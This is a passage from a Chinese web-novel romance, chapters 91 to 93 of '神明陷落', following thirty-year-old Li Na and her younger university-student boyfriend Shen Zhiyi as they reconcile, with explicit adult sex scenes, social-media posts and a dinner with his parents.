距离目的地不足二十米，导航已经自动关闭了，沈知逸没发附近的照片过来，不知道他的具体位置，黎娜站在原地，四处张望。
忽然感知到一抹灼热的视线，似乎聚焦在她的后颈上，有些微微发烫，黎娜转回身，在人群中，一眼看到了沈知逸。
沈知逸站在树下面，一身黑，眼睛暗淡无光，正目不转睛地盯着她，脸上什么表情都没有，小卷毛在夕阳下泛起轻金色，他白皙的皮肤有一种透明感，特别青涩稚嫩。
黎娜嘴角一扬，朝他走过去。
视野里忽然闯进来一个拿着篮球的男生，低着头没有看她，手放在脖子上抓来抓去，结结巴巴地说：“你、你好，方便加个微信吗？”
黎娜愣住。
不是吧，她都三十了。
她看着眼前的男生。
男生没听到她的回答，悄悄抬眸看她，结果就对上了她的视线，拿着篮球的手都开始发抖了，脑子一热鼓起来的勇气瞬间退散，他几乎无地自容，整张脸红得像番茄。
“对不起，当我没说！”
他抱着篮球落荒而逃。
黎娜准备拿手机的动作顿住了，不由得在心里遗憾，好可惜哦，失去了一个纯情男大。
她忍不住笑出了声，朝沈知逸看过去。
发现之前站在树下面的沈知逸已经转身走了，黎娜笑容消失，大步追上去。
沈知逸听到她的脚步声，走得更快了。
黎娜追上他，牵起他的手。
他用力把自己的手抽回来。
黎娜就继续牵。
他继续抽回来。
本来两个人就是极其耀眼的存在，看他们一个想去牵手，另一个又不肯被牵，有些学生停下来看他们，一脸八卦，还有的磕起了cp。
黎娜牵了几次都失败了，就不牵了，停下来，双臂环胸看着他。
她不走了，沈知逸也停下来了，背对着她。
她眉心紧皱起来：“你干什么啊，我都过来找你了，你还这样甩脸色给我看？”
沈知逸下颌线紧绷着，胸膛微微起伏。
“没人让你来找我。”
他语速很快，有点冲。
黎娜又笑了：“你好凶啊，是因为刚才有男生跟我搭讪吗，你是不是生气了？”
沈知逸很无所谓：“是吗，刚才有男生跟你搭讪吗，我都没注意看……”
黎娜快笑疯了，刚才他眼睛一眨不眨地盯着她，现在又说没认真看，可真够别扭的。
“我没加他微信，我本来都不想搭理他的，这不是想逗你玩玩吗？”
沈知逸气得眼睛都红了：“哦，逗我玩啊，反正你一直把我当成玩具。”
醋味好重。
怎么会这么可爱呢。
黎娜再次牵住他的手，手指从他指缝中穿进去，十指扣紧。
沈知逸没有回握住她，细长的手指垂下来，骨感明显，指尖微翘。
黎娜踮起脚尖，在他耳边小声说话。
“是啊，我一直把你当玩具。”
“成人玩具。”
沈知逸顿了一顿，抿紧嘴唇，面色隐忍，继续往前走。
黎娜跟着他，继续火上浇油：“我今天穿的好看吗？”
沈知逸想都没想：“不好看。”
黎娜挑眉：“是吗，你们这个年纪的男生，不都喜欢看女生穿这个吗？你不喜欢？”
沈知逸：“不喜欢。”
黎娜问：“那你喜欢我穿什么？”
沈知逸就不搭理她了。
黎娜轻轻挠他的手心。
他也没有反应。
路过一个拐角盲区，黎娜胳膊一用力，把沈知逸拽进去了。
沈知逸被推到墙壁上，喉间发生一声极轻的闷哼，嘴唇张开了一些，垂眸看着黎娜，眼睛被小卷毛遮住，晦暗不明，轻轻喘气。
黎娜贴上来挤着他，抬头看他，嘴角带着笑意。
“你怎么对我爱答不理的？”
沈知逸撇开脸。
黎娜眯起眼睛：“最近对你太好了是吧，都把你惯坏了，以前你都不敢跟我生气。”
沈知逸轻吸口气，看向她。
“为什么不敢跟你生气？我只是不会生我女朋友的气，你是我女朋友吗？你又不是。”
黎娜快绷不住了。
她被这个男孩弄得真的又生气又想笑，到底该怎么办才好呢……
沈知逸手机响个不停。
他拿出来看了一眼。
Eason：【怎么还没到车库？】
Eason：【今天不方便吗，那我先走了？】
沈知逸双击点进去，正打算回复，就听到黎娜不悦的声音。
“谁在给你发信息？”
沈知逸装模作样的护住手机，鬼鬼祟祟的样子：“我不告诉你……”
黎娜瞪着他：“给我看看。”
沈知逸握紧手机：“不给。”
黎娜伸手去抢，沈知逸立刻把手机举起来。
黎娜踮起脚尖去够，跟沈知逸之间的距离瞬间拉近了，近到能感到到他的呼吸，隐约闻到一股淡淡的香皂味，清爽又干净。
沈知逸垂眸看着她。
她在沈知逸身上蹭了几下，忽然意识到什么，停下来。
“你长本事了是吧？”
说完，不知是她生气的样子取悦了沈知逸，又或者是她踮脚抢东西的样子太过于滑稽，她竟然看到沈知逸嘴角翘起一抹极其细微的弧度，目光也柔和了下来。
可是等她凝眸仔细去看的时候，沈知逸那些细微的小表情就消失了，还是那幅能把人气死的样子。
黎娜恼羞成怒：“你故意的？”
沈知逸抬起下巴，就跟没听见似的，不说话，也不看她。
黎娜气笑了：“很闷骚呢。”
沈知逸这才垂眸看她一眼。
她语调慵懒：“如果你想跟我发生肢体接触，你直接开口跟我说就好了，我又不是不让你碰，我对你还是很大方的。”
不知不觉间，她手指爬上沈
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知逸的脖子，搂紧了用力往下一拉。
沈知逸顺势低头下来。
她吻住沈知逸的嘴唇，一会吮吸，一会轻咬，一会伸出舌尖试探。
沈知逸瞳孔收缩，垂在身侧的手指握紧了又伸展开来，闭紧嘴巴，不为所动。
一下子就勾起了黎娜的好胜心，吻他的同时，握住他的手放到自己腰上，按着他，上下摩挲，然后稍微离开他一些，贴着他的额头，小声说话。
“你不就是想要这个？”
沈知逸轻轻喘气，垂下眸子，眼睛有些湿润，嘴唇被吮得亮晶晶的，微微张开，露出洁白的牙齿，只喘气没说话。
黎娜在他嘴上咬了一口。
“沈知逸，你喜欢我吗？”
沈知逸闭紧嘴巴，别开脸。
黎娜松开他。
他以为自己被放过了，结果黎娜手直接伸向下面，轻轻握住。
沈知逸经受不住这么大的刺激，急喘一声，瞬间脱力，往前面一倒，趴在了黎娜肩膀上，有些站不住，手指握在她手臂上，指尖陷入她的皮肤。
她变换角度，时刻观察着外面的动静，感受着他的温度。
黎娜听着耳边急促的呼吸声，笑了一下，脸朝他偏过来，嘴唇抵着他的耳朵，细小的绒毛相互触动，似细小的电流。
“在学校里硬成这样真的可以吗？被同学看到会不会很丢人？”
沈知逸把脸埋进她头发里，这样别人就看不见了。
黎娜问：“这里有监控吗？我刚才都没看。”
沈知逸很无助：“我不知道……”
黎娜安慰他：“没事，我给你挡着。”
在出来的时候，沈知逸突然抱住她，调转了方向，把她压在墙壁上，用胯用力挤住她，狠狠地蹭了几下，就压住她不动了。
她衣摆被蹭起来，腹部传来一些潮湿的感觉。
她说：“爽完了？”
沈知逸低着脑袋，眼眶微红。
“你都不喜欢我，还来玩我。”
黎娜说：“谁说我不喜欢你？我最喜欢你了。”
沈知逸：“你自己说的，我问你是不是不喜欢我了，你说是，你亲口说的，现在又不承认。”
黎娜抱住他：“对不起，我以前从来没喜欢人，不知道什么样的感情才能称得上喜欢。”
沈知逸看着她，还是怀疑。
“那你现在知道了？”
“嗯……喜欢的感觉就是，我永远向往自由，像一艘小船在海上漂泊了很久，现在我想回到属于自己的港湾，永远停留在你的身旁。”
“沈知逸，你就是我的归属。”
“我不能没有你。”
沈知逸眼里瞬间覆上一层水，抿紧嘴唇，垂眸看着黎娜，眼泪不停地往外掉，他用手背擦了一下，背过身去，肩膀有些颤抖。
黎娜拉他的衣服，哑然失笑。
“你怎么又哭了？”
沈知逸哽咽：“我不知道……”
黎娜把他扯回来，从包里抽出几张湿巾去擦他的眼泪。
“我自己来就好了。”
沈知逸接过她手里的湿巾。
她看到沈知逸手腕上蜈蚣般的缝线疤痕，心脏狠狠地紧缩了两下，握住他的手腕，拉到面前来，嘴唇贴上去，落下一个温柔的吻。
沈知逸眼泪顿住，指尖轻颤。
他认输了。
就算黎娜再伤害他一千次一万次，他也愿意为了这个吻，原谅她一千次一万次。
91. 神明陷落
沈知逸握住黎娜的手，一起离开了学校。
Eason：【今天晚上还回家吗？】
沈知逸：【现在还不清楚，晚点我再告诉你。】
Eason：【好，你收敛着点，年轻的时候还是要多注意身体。】
沈知逸：【……】
黎娜也在看手机。
温琳：【我给你写的小作文，你背下来没有哇？】
黎娜：【当然背下来了，沈知逸这个狗东西感动得稀里哗啦的，眼泪鼻涕蹭我一身。[得意]】
温琳写的小作文，就是那才黎娜说的那些小船啊，海上漂泊啊，港湾啊那些的……
本来黎娜对这种小作文嗤之以鼻，没想到竟然还真的把沈知逸给拿下了，真是出乎她的意料。
温琳：【什么狗东西，能不能好好说话，和好了就别再闹了啊，好好珍惜小知逸。】
黎娜：【那肯定的。】
到地下车库，沈知逸问：“那我们现在去哪？”
“去我家吧，你开车。”
黎娜把车钥匙扔给沈知逸。
沈知逸手都开始抖了：“要我开车吗？”
黎娜点头：“嗯，你不是拿到驾照了吗，我还没坐过你的车，很想坐坐。”
沈知逸垂眸：“你在旁边，我会紧张的……”
“有什么好紧张的，平时怎么开，现在还怎么开就好了。”
沈知逸：“……好。”
他打开主驾驶的车门，上去调整好座位，扣好安全带。
黎娜也准备就绪。
沈知逸发动车子开出去了，到外面大路上，车速很稳，遇到突发情况也能及时做出正确反应，黎娜非常满意，都没玩手机，注意力全在沈知逸身上。
她说：“你觉得这车子怎么样？”
沈知逸说：“很好。”
“空间大吗？”
沈知逸觉得有些不太对劲，声音都小了不少：“挺大的……”
黎娜淡淡道：“嗯，以后我们可以在车上试试。”
沈知逸喉咙一紧：“试什么？”
“当然是成年人该干的事情。”
沈知逸咬住嘴唇，脸颊上浮起一抹红晕。
到黎娜家里，看着眼前熟悉的环境，一些不太好的记忆在脑海里浮现，沈知逸情绪有些低落。
黎娜拿拖鞋给他。
“这是你的，我还留着。”
“好。”
沈知逸接过来穿好，心情好了不少。
有饭菜的香味传过来，家里的阿姨已经做好晚饭了，黎娜换上家居服过去吃饭。
沈知逸来到客厅，看到沙发上有几袋新内裤，看上去很熟悉，在意识到那是什么东西的时候，他恨不得原地消失，连看都不敢看了，迅速背过身去，当做没看到。
黎娜瞥他一眼，笑意不明。
“不记得了吗，这些内裤都是你买回来的。”
沈知逸捂住发红的脸。
黎娜走过来，手指伸进磨砂塑料袋里，用指尖勾出来一条，又勾出来一条，平放在沙发上。
她面不改色，语气正经。
“有透明的，情侣款的，还有柴犬图案的……”
沈知逸慢慢蹲下来，跪在地上，脸埋进沙发里，耳朵边特别红，羞耻得快不行了。
黎娜还在继续：“你喜欢哪一条，晚上穿给我看看？”
沈知逸自暴自弃地“嗯”了一声。
黎娜嘴角上扬，用指尖勾起一条内裤，丢到沈知逸脑袋上。
“我要看你穿这条。”
沈知逸拿下来，先用手指摸了摸，感觉是很轻薄的面料，放到眼前一看，他差点晕厥过去。
是透明的。
这顿饭，沈知逸都没怎么吃。
黎娜也吃得很少。
阿姨坐不住了：“娜娜啊，今天的晚饭不合你胃口吗？你喜欢吃什么，告诉我，明天我给你做。”
黎娜说：“饭很好吃，但是今天晚上我要吃少一点。”
阿姨挠头：“啊？”
黎娜看向对面的沈知逸。
沈知逸察觉到她的目光，也抬眸看向她，视线接触的一瞬间，似有火花碰撞绽放，来自动物的兽性蠢蠢欲动，难以克制。
黎娜收回视线，冷静矜持。
“吃太多，会有小肚子，我躺在床上，或者是跪在床上的时候，会不太好看。”
阿姨：“……”
怎么感觉不太对劲。
沈知逸快把脸埋进饭碗里了。
他放下筷子，站起身来。
“我吃饱了！”
黎娜看他碗里还有半碗米饭，笑着问他：“就吃这么点，晚上有力气吗？”
她说的每一句话都带着颜色，沈知逸被她说得都快受不了了，胡乱地抓起沙发上的几袋内裤，大步朝浴室走去。
“我先去洗澡了！”
黎娜喊道：“洗干净点。”
沈知逸：“嗯！”
绝对会洗得香香的，干干净净的，让姐姐对他爱不释手的。
沈知逸去浴室之后，没过多久，黎娜也离开了餐厅，带着一件肤色的真丝吊带短裙进浴室了。
阿姨看看桌上几乎没动过的菜，又看看墙壁上的钟。
阿姨：“……”
现在才七点。
看把这俩人给急的。
沈知逸以最快的速度，最高的效率，在十分钟之内洗干净全身，裹着浴巾站在洗手台前，看着镜子里的自己，扒拉了两下小卷毛。
墙上挂着他带进来的那条透明内裤，沈知逸别开脸，慢吞吞地走过去，把内裤拿下来攥在手里。
真的特别薄，捏紧了只有很小一团，他做好心里建设，拿到眼前来，手指放在下面，能很清晰地看到。
可以想象到这条透明内裤的上身效果，穿了肯定跟没穿一样，姐姐怎么能让他穿这个，真的好坏啊……
沈知逸解开浴巾，涨红了脸，抬起腿把内裤穿上去提好，想了一会，又在外面穿了条灰色的运动短裤，这才走出浴室。
回到之前和黎娜居住的卧室，沈知逸坐在床上，手指抠着裤子，安静地等待着。
等了半个小时，外面传来一阵慵懒的脚步声。
沈知逸心跳加速。
脚步声进房间，门关上，一股甜甜的花香味飘过来，在鼻尖萦绕，沈知逸喉结上下滚动。
黎娜坐到他旁边。
他声音发哑：“阿姨还在楼下吗？”
“早就走了。”
黎娜把卷发都撩到肩后，露出白皙的脖子，吊带短裙穿在身上，低领的，胸前凸起来几根骨头，有一颗红色的小痣，裙摆只能遮住半个大腿。
她涂着白色指甲油的脚趾蜷缩在拖鞋里，脚背上鼓起一根青筋，肤色近乎透明。
沈知逸收回视线，嘴里发干，用手捂着嘴巴轻轻地咳了一声。
黎娜听见了，忍不住笑起来，手
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放在床面上，食指和中指像小人走路一样，慢慢朝沈知逸走过去，爬上他的大腿，用指甲轻轻地挠。
沈知逸一下子就受不了了，转过身来，面对着她，眼睛透过小卷毛注视着她，各种情绪交织在一起，翻滚，沸腾……
不知道是谁先主动的，可能是他们同时靠近了对方，嘴唇相贴的瞬间，手臂就缠上了对方的身体，一起倒在床上。
厮磨许久，沈知逸突然翻身上来，手臂撑在黎娜脑袋两侧，目光沉沉地俯视着她，眸内幽光闪烁，不见当日的青涩稚嫩。
黎娜笑得特别温柔，有一种长辈对晚辈纵容和宽容。
她搂住沈知逸的脖子，也一个翻身，反把他压在身下，双手撑在他腹部上，轻轻抚摸。
沈知逸没反应过来，有些懵，这时候又跟平时一样了，透出一丝懵懂和青涩，纯情得要命。
黎娜坐在他胯上，低头看他。
“以前都是你玩我。”
“今天晚上该我玩你了。”
她荤话张口就来。
沈知逸眼里覆上一层水，显得有些脆弱，扶住黎娜的腰，难耐地把她往前面推了几下。
他呼吸粗重：“如果是姐姐的话，把我玩到烂掉都没有关系……”
黎娜挑眉：“真的？”
沈知逸说：“真的。”
黎娜笑了：“我可不舍得。”
手指顺着沈知逸的腹部往下滑，黎娜捏住他的裤绳，轻轻一扯就开了，脱掉他的运动裤，随手丢到地上。
黎娜看向下面，不禁愣住了，又笑出来，有些惊喜。
沈知逸别开脸，手指抬了一下，似乎有个想要遮挡的动作，又觉得不应该遮，就没动。
黎娜盯着下面：“你真穿了？”
沈知逸红着脸点头，看着她：“你喜欢吗？”
“喜欢啊。”
黎娜稍微起来一点，身体往下滑，趴在沈知逸的大腿上，嘴唇距离他那里不到五厘米。
以前从来没用过这样的姿势，沈知逸忽然意识到什么，很不可置信，也不能接受，手放到黎娜脑袋上，想把她从那里推开。
黎娜直接低头含住，隔着一层近乎透明的轻薄面料，温柔地包裹住他的冲动。
面料上沾染水渍，更加透明。
黎娜抬眸看向他，欣赏他此刻的表情。
明明是她现在的姿态更加臣服，却让沈知逸心里生出一种被玩弄的感觉。
他放在黎娜脑袋上的手，欲拒还迎地推了一下，就彻底没了力气，垂落下来，手指时而攥紧，时而伸展，胸膛起伏幅度剧烈不稳，整个卧室里都是他急促的呼吸声。
“姐姐，好了……”
他快要忍不住，慌乱制止。
黎娜不为所动：“怕弄到我嘴巴里吗？我又不会嫌弃你。”
“不要……”
不要那样。
沈知逸羞耻到快要死掉，感觉要出来了，就立刻坐起来，抬起黎娜的下巴，低头吻上去。
黎娜用手继续帮他。
他吻得越发用力，黎娜嘴唇都有些疼了，被他挤得不停往后仰，最后倒在了床上。
刚开始还说要玩他，现在身子就软得跟一滩水一样，被他摆弄成各种姿势，被围堵到床头，身后是枕头，面前是沈知逸，这样还不够，他还在用力挤她。
她指甲划过沈知逸的后背，留下一道红色的血痕，额头抵着他的胸口，气息不稳。
“好深……”
92. 神明陷落
黎娜拿起床头柜上的手机，看了眼时间，现在已经十二点钟了。
腰上的手臂突然收紧，沈知逸在她怀里蹭了蹭，她正要放下手机，就听见沈知逸的声音。
“你别摸手机了，摸摸我吧。”
他握住黎娜的手，放到自己脑袋上揉了几下，偷偷抬眸看向她，发现她也在垂眸看他，还有点不好意思，朝她露出一个特别害羞和甜蜜的笑容。
黎娜放下手机：“舒服吗？”
沈知逸把脸埋在她胸口上，没说话，过了几秒钟点点头。
“很舒服……”
“用嘴舒服，还是下面舒服？”
“都、都很舒服……”
沈知逸磕磕巴巴的，说话声音特别小，脸和脖子红红的，眼睛乌黑潮湿，似乎在眨眼睛，眼睫毛轻扫她的胸口，有点痒。
黎娜看他现在这幅样子，真是见鬼了……
刚才又快又用力，变着花样，想让她像上次那样喷出来，差点把她弄死在床上，现在又窝在她怀里蹭来蹭去，要她摸摸，跟只黏人的巨型犬一样，真是不可思议。
沈知逸打了个哈欠，呼吸喷洒在她的皮肤上，湿湿的，有点痒。
“好困，我身上都没力气了……”
黎娜嘴角抽搐：“对，你最后什么都射不出来了。”
沈知逸耳朵一红，往她怀里拱，抱着她不撒手。
黎娜关掉灯：“睡觉吧。”
“嗯。”
沈知逸用腿夹住黎娜。
黎娜：“……”
以一种极其别扭的姿势睡到天亮，黎娜就跟身体被大货车碾了一样，浑身都疼。
她睁开眼第一件事，就是抬起腿，把全身仅有的力气都集中到右腿上，然后一脚踹开黏在她身上的沈知逸。
沈知逸被她踹得晃了一下，醒过来了，用手揉了揉眼睛，目光还是没有焦距的，看向她。
“姐姐，早上好。”
黎娜躺下，裹着被子到床边，眼睛一闭又睡过去了。
这一觉就睡到了中午，黎娜才清醒过来。
沈知逸还在睡，半张脸埋在被子里，捂得有点泛红，睫毛垂下来，留下一小片细密的黑色阴影，皮肤细腻白皙。
黎娜侧过身来，单手撑着脑袋，用手指戳了戳他的脸，他眉心皱了一下，又舒展开来，嘴唇抿了抿。
黎娜拿起手机，把被子拉下来一点，用摄像头对准沈知逸的脸，拍了张照片。
“咔嚓——”
沈知逸睁开眼睛，看到黎娜，嘴角往上翘了一下，把被子拉上来盖住自己，朝黎娜的方向凑了凑，搂住她的腰。
“你偷拍我……”
他声音闷闷的，带着些睡醒后的沙哑。
黎娜还保持着举手机的姿势，丝毫没有被发现后的心虚，掀开他身上的被子，笑得有点坏坏的。
“偷拍你怎么了，我还要发到朋友圈。”
听到“朋友圈”三个字，沈知逸眼里的睡意瞬间消散了，不可置信地看向黎娜，眼中微光闪动，似夏夜空中的繁星，嘴角有细微的上扬弧度。
“你要把我发到朋友圈吗？”
黎娜看着手机屏幕：“嗯。”
沈知逸上扬的嘴角落下来，忽然有些不安，犹犹豫豫地开口。
“你真的要发吗？你应该不想发的对吧？你要是不想发的话，就不要发了，没关系的……”
失去过一次，他真的很害怕让黎娜在这段关系中感受到压力。
黎娜手指在屏幕上点了几下，就放下手机，朝着沈知逸露出温柔又漂亮的笑容。
“我已经发了哦。”
沈知逸立刻掀开被子下床，穿着一条灰色短裤，连鞋子都没穿，就拿起床头柜上的手机，进入微信，朋友圈上面有个红色小点，旁边就是黎娜的头像。
他点进去，看到了他的照片。
黎娜配文：【失而复得的感觉真好。】
温琳还是第一个点赞，评论：【我靠！这还不得爽死你啊。】
沈知逸手指都在颤抖：“你没有屏蔽别人吗，你的朋友和同事们都会看到我吗？”
黎娜点头：“是的。”
沈知逸点开图片，看了一会：“这条朋友圈删掉好不好？”
黎娜问：“为什么？”
沈知逸说：“不好看，我还没有洗脸，头发也乱糟糟的，别人肯定会说你怎么找了一个这么丑的男朋友……”
黎娜哑然失笑：“你哪里丑了？”
沈知逸放下手机，跑去卫生间刷牙洗脸，期间他叼着牙刷，好几次跑出来求黎娜。
“删掉吧，好不好，等我洗完脸变帅了，你再拍一张发上去吧，求求你了。”
黎娜笑得肩膀发颤，手指在屏幕上装模作样地点了几下。
“好，我删掉了。”
其实没删。
沈知逸收拾好自己，从卫生间出来，拿着黎娜的手机，试了各种角度拍了好几张，最终选了自己最满意的一张保存下来，把手机还给黎娜。
“好了，姐姐，发这张吧。”
黎娜看向手机里的照片。
男生看着摄像头，似乎在与她对视，眼神羞涩，含着笑意，睫毛乌黑浓密，根根分明，长长地垂下来，像画了眼线，鼻子高且直，嘴唇饱满，透着淡淡的粉色，皮肤特别好，漂亮跟个女孩子一样。
黎娜评价：“拍的什么玩意儿，一脸狐媚子样……”
沈知逸撇嘴：“就是要拍得帅一点啊，这样才会让别人知难而退，不然一看我这么丑，他们来勾引你怎么办？”
黎娜嘴角抽搐，把沈知逸拍的这张照片发到朋友圈。
配文：【男朋友不满意刚才拍的那张照片，非要拍张帅的重新发。[裂开][裂开]】
温琳点赞评论：【小知逸还不帅？你是不是PUA人家了？】
黎娜回复：【怎么可能。】
沈知逸打开朋友圈，发现最开始发的那一条没有删掉，有好多人点赞了，评论区也炸了。
Eason点赞：【哪天有空了和知逸过来吃饭吧，我和Sofia都很想你。】
黎娜回复：【好的叔叔。】
黎父点赞：【这是什么情况啊？】
张阿姨回复：【两个小孩又在一起了，真好诶。】
黎父：【哦，挺好的，娜娜你别总是欺负人家小孩，知道吧？】
黎娜回复：【知道。】
秦钰：【结婚的时候不用给我发请柬了。[心碎]】
黎娜回复：【要给你发的，你必须来。[旺柴][旺柴]】
沈知逸坐在黎娜后面，趴在她肩膀上，和她一起看评论区。
沈知逸盯着“结婚”那两个字，嘴角都快压不住了，笑声在胸腔里膨胀。
黎娜刷了几遍评论区，皱起眉：“Sofia还在生我的气吧……”
两边家长都给她点赞评论了，只有Sofia一点动静都没有。
沈知逸安慰道：“没关系的，交给我和Eason就好了。”
黎娜摇头：“最好
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我自己去搞定她，别人都不能代替我。”
沈知逸想了想：“其实Sofia特别宠我的，她最怕我伤心难过了，如果她的反对会给我造成痛苦，那她肯定不会那样做的，你不要太担心。”
黎娜说：“我应该跟她见一面。”
她退出朋友圈，在列表里定位字母找到Sofia，刚要点进去，手机顶端跳出来一条信息，正是Sofia。
黎娜和沈知逸都愣住了。
黎娜点进去。
沈知逸搂紧她的肩膀，低下头，嘴唇贴到她后颈上，轻轻地蹭了几下，就吮住，用力吸咬。
又痒又麻，还有点疼。
黎娜笑着躲了几下，就随他去了，点进Sofia的对话框。
看到她发来的一篇特别长的小作文，几乎占据了整个信息页面，黎娜手指颤了一下。
沈知逸发现她的小动作，松开嘴，用指腹抹去她脖子上的水渍，贴着她耳朵说：“姐姐，你刚才是不是紧张了？”
说完，他轻声笑了起来。
黎娜面不改色：“也没有很紧张，就是突然看到这么长的信息，吓了我一跳。”
沈知逸不信，拖腔带调地问她：“真的是这样吗？”
黎娜恼羞成怒，在他大腿上用力拧了一下。
沈知逸脸上笑容瞬间消失了。
“啊、啊……”
他在黎娜耳边轻叫了两声，痛得倒吸冷气，握住她的手腕，不让她动，整个人往后面躲。
“你又欺负我，我会跟黎叔叔告状的……”
他委屈巴巴地望着黎娜，眼睛湿漉漉的，特别可怜的样子。
黎娜松开手，毫不在意地说：“你去告状吧，随便你告。”
沈知逸把她的手抓回来，按在刚才被她拧过的大腿上，轻轻地揉，笑嘻嘻地说：“我才不要。”
黎娜：“啊？”
沈知逸看着她：“我不会告诉黎叔叔的，万一他骂你怎么办啊，我会很难过的……”
黎娜身上都起鸡皮疙瘩了，但是看到他满眼都是她的样子，心里又很甜蜜。
她躺靠在沈知逸怀里，肩膀贴着他的胸膛，隐约能感受到轻微的起伏弧度，低眸看向Sofia发来的信息。
Sofia：【娜娜，你的朋友圈我看到了，Eason这半年来经常提起你……】
黎娜认真看下去。
沈知逸贴着她的脸，一起看。
到结尾，Sofia：【你们年轻人的事情，作为长辈的我们不应该插手，你们两个人开心是最重要的。希望你们在面临问题时积极应对，不要伤害对方，要懂得珍惜你们之间来之不易的缘分。】
黎娜啧了一声：“你妈妈的中文还不错嘛。”
沈知逸搂着她的腰，手放在她扁平的小肚子上，软软的，暖暖的，手感特别好。
他说：“嗯，她定居在国内后，中文一天比一天好。”
手机又响了一下。
Sofia：【有空了过来吃饭吧，之前准备的礼物还没有带给你。】
黎娜问：“你妈妈真好，我要怎么回她比较好啊？”
沈知逸在她脖颈间狂吸，心里特别满足，蹭了蹭她的脸。
“怎么说都可以。”
“哦，那我就开始胡说八道了。”
黎娜开始打字。
沈知逸看向手机屏幕，蹭黎娜的动作突然顿住了，瞳孔收缩。
黎娜：【好的，谢谢妈妈。】
她叫Sofia妈妈。
93. 神明陷落
沈知逸抿住嘴唇，嘴角控制不住地往上扬，明知故问。
“你为什么叫Sofia妈妈啊？”
黎娜手伸到后面来，揉了揉他的脑袋。
他自觉用脑袋蹭黎娜的手心，长睫毛低垂下来，特别乖顺的样子。
黎娜说：“我在催眠她，给她灌输我是她女儿的思想，这样她就不会生我气了。”
沈知逸皱眉：“啊？”
黎娜笑道：“你妈就是我妈，这样总行了吧？”
沈知逸这才满意地笑了，用牙齿在黎娜脖子上又咬又蹭。
手机响了。
Sofia发来一张摸摸头的表情包。
黎娜嘴角笑意加深，回复她：【今天晚上去，可以吗？】
Sofia：【当然可以。】
黎娜：【好的，谢谢妈妈。】
Sofia：【嗯嗯。】
沈知逸捂住自己的脸，指缝中透出他发红的脸颊。
啊……姐姐又叫Sofia妈妈了。
到晚上约定好的时间，黎娜和沈知逸提前十分钟出门。
黎娜把车钥匙丢给他。
他立刻伸手接住：“又是我开车吗？”
黎娜打开副驾驶车门：“是啊，我都开十几年了，早就开腻了，你要多练练。”
沈知逸“哦”了一声。
黎娜在车上化妆。
有前科在，她今天打扮得很乖巧，身上穿了一件米白色吊带裙，外面搭了一件短款女士西装，鞋子是沈知逸选的，一双白色缎面尖头鞋，鞋尖上有只黑色蝴蝶结，现在她化的妆容也很淡，长辈们会比较喜欢。
快到Sofia和Eason的家门口，黎娜看到之前和沈知逸住过的房子，心中百感交集。
好像那时候把沈知逸推下楼之后，她就再也没有回来住过了，后来她总往国外跑，和沈知逸见面的次数也少了。
这是一个充满了她和沈知逸回忆的地方。
路过这个房子的时候，沈知逸视线也挪过来，在那个房子上停留了两秒钟，手指握紧了方向盘。
沈知逸停好车，和黎娜一起下来，到家门口，按下门铃。
黎娜蜷紧手指，指尖陷入沈知逸的手心。
沈知逸回握住她，安慰道：“没关系的，跟以前一样就好了。”
黎娜“嗯”了一声。
门打开了，Eason站在里面，有饭菜的香气飘出来。
Eason穿着酒红色衬衫和黑色休闲裤，在看到他们的时候，脸上露出了笑容，眼尾浮现几根皱纹，却不显老态，有一种成熟男人的稳重，让人特别安心。
他退让到一边，招呼黎娜和沈知逸进来。
“你们来得很早嘛，我以为会晚个十分钟差不多。”
黎娜微笑：“没有，我习惯早到。”
沈知逸先进去，换好拖鞋，然后打开鞋柜，从里面拿出一双新的拖鞋，放到黎娜跟前摆好。
黎娜脱掉鞋子，看沈知逸这么细微的照顾，真是有些自愧不如了，明明她年纪比沈知逸大。
“谢谢你。”
长辈在这，还是说声谢谢比较好。
黎娜穿鞋走进去，看到Sofia腰上系着围裙，正在从厨房里端菜出来。
黎娜主动打招呼：“阿姨，今天是你亲自下厨吗？”
Sofia把菜端到餐桌上，解开围裙随手一搭，朝黎娜露出一个温柔的笑容。
“当然是我亲自下厨了，Eason和知逸都说我做的饭好吃，我也很喜欢做饭给他们吃。”
Eason和沈知逸走进厨房。
Eason带着手套，负责端烫手的盘子。
沈知逸拿餐盘刀叉出来，放到餐桌上认真地摆好。
只有黎娜站在原地，找不到事情做，有些手足无措。
Sofia给她拉开椅子：“坐吧。”
黎娜颔首：“我自己来就好了，谢谢阿姨。”
四人落座。
黎娜和沈知逸坐在一起，对面是Sofia和Eason。
沈知逸把酸甜口的食物，都默默推到黎娜面前来，他记得黎娜的口味。
黎娜嘴角笑容一僵，迅速看了眼对面Sofia和Eason。
他们脸上都带着得体的微笑，对沈知逸的举动视而不见。
黎娜制止了他：“不用都弄到我这边来，这样你爸爸妈妈还怎么吃呀，我够得到的。”
“好。”
沈知逸停下来，拿起椰子汁倒进她杯子里，偷偷抬眸看她，眼睛里的笑意浓烈到快要盛不住，如同春雨涨池，多到要溢出来。
Eason也笑了：“我很久没看到知逸这么开心了，这半年多来，我似乎没见他笑过，平时也很少跟我们说话，回到家就把自己关到房间里了。”
沈知逸皱了下眉，轻声开口：“也没有吧……”
Sofia咽下口中的食物，用餐巾擦拭嘴角，面带微笑。
“知逸心思单纯，有什么心事都写在脸上，我们作为父母舍不得他受一丝一毫的委屈，想把这个世界最好的都给他，他是我们最珍贵的宝贝。”
似乎在表达对沈知逸的重视，以此告诉她，沈知逸身后是有人撑腰的。
黎娜面不改色，看向Sofia：“嗯，他也是我最珍贵的宝贝。”
是姐姐最珍贵的宝贝吗……
上扬的嘴角快要压不住了，沈知逸低下脑袋，脸颊上浮起一抹红晕。餐桌下，他大腿朝黎娜凑过去，轻轻地蹭她。
Sofia说：“那就好，你是个特别懂事的孩子，一定会好好珍惜知逸的，我和Eason都很放心。”
黎娜点头：“请你们放心。”
怎么弄得像要把沈知逸嫁给她了一样，就这么怕她对沈知逸不好吗？
吃完饭，黎娜和Sofia坐在沙发上说了会话，时间就不早了。
Eason说：“你们还回去吗，现在太晚了，今天晚上留下来住吧。”
黎娜正想说不用了。
Sofia也开口了：“留下来住吧，晚上开车回去容易疲惫，家里房间多，你们可以随便住。”
黎娜想了一会，答应下来：“好，要给你和叔叔添麻烦了。”
Sofia笑道：“怎么会添麻烦呢，有你们在身边陪着，我们很开心的。”
沈知逸走到黎娜身旁，用手指轻轻地戳了戳她的胳膊，小声说：“姐姐，你要不要住我房间？”
黎娜低声回他：“除了你房间，我还能住哪？”
沈知逸笑得合不拢嘴，眼睛亮晶晶地看着黎娜，握紧她的手。
Sofia和Eason特别养生，很早就回房间睡觉了，叮嘱黎娜和沈知逸也要早点睡。
